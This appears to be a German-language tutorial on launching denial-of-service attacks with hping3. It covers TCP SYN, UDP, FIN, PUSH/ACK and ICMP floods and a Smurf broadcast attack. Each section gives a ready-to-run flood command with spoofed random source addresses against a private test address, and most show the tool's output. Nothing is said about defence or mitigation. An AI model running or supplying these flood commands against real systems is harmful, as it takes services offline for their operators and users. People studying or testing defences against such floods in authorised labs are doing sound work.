DOS mit hping3

TCP SYN Flood

Mit dem Angriff werden sehr viele TCP Sessions zum Server geöffnet (SYN) und der Angreifer ignoriert alle möglichen Antworten SYN-ACKs vom Server. Dabei kann ein Server nur begrenzt Verbindungen offen halten und kann hierdurch überlastet werden, bzw. kann keine weiteren Anfragen mehr annehmen.

• hping3 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown

Das löst einen TCP SYN Flood von willkürlich gewählten IP Adressen aus. Das Zielsystem kann evtl. wegen einer Überlastung geöffneter Verbindungen nicht mehr auf weitere Anfragen reagieren. Der Dienst wäre somit nicht mehr erreichbar.

UDP Flood

UDP ist bekanntlich keine Session basierte Kommunikation, sondern sehr einseitig. Es werden gnadenlos einfach Pakete zum Ziel gesendet, in der Hoffnung, dass diese auch dort ankommen.

• hping3 --flood --rand-source --udp -p 53 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

TCP Fin Flood

TCP Fins werden eigentlich vom Server nur akzeptiert wenn eine Verbindung bereits besteht. Aber trotzdem braucht dieser eine gewisse Rechenkapazität, um auf diese Pakete antworten zu können. Wird ihm das zu viel, kommt er nicht mehr hinterher und kann “echte” Anfragen eventuell nicht mehr bedienen.

• hping3 --flood --rand-source -F -p 80 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): F set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

PUSH and ACK Flood

Durch Überfluten eines Servers mit einer Reihe von PUSH- und ACK-Paketen kann der Angreifer verhindern, dass der Server auf die legitimen Anforderungen reagiert.

• hping3 --flood --rand-source -PA -p 80 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): AP set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown

ICMP Flood

ICMP (z.B. Ping) ist auch eine verbindungslose Kommunikation und zielt einfach nur darauf ab das Ziel mit Überforderung auszuschalten.

• hping3 --flood --rand-source -1 -p 80 192.168.34.1

HPING 192.168.34.1 (eth0 192.168.34.1): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

Smurf Attacke

Als Guter letzt gibt es noch die Smurf Attacke. Diese nutzt die Kraft noch weiterer Server / Clienten im Netz des Ziels aus. Es wird mit Hilfe der Broadcast-Adresse eine Anfrage ans Netz versendet, was alle im Netzwerk anspricht und danach bittet das Ziel mal an zu pingen. Passiert das im großen Stil, kommen von vielen im Netzwerk befindlichen Servern / Clients eine große Anzahl an Antworten.

• hping3 --icmp --spoof 192.168.34.1 192.168.34.255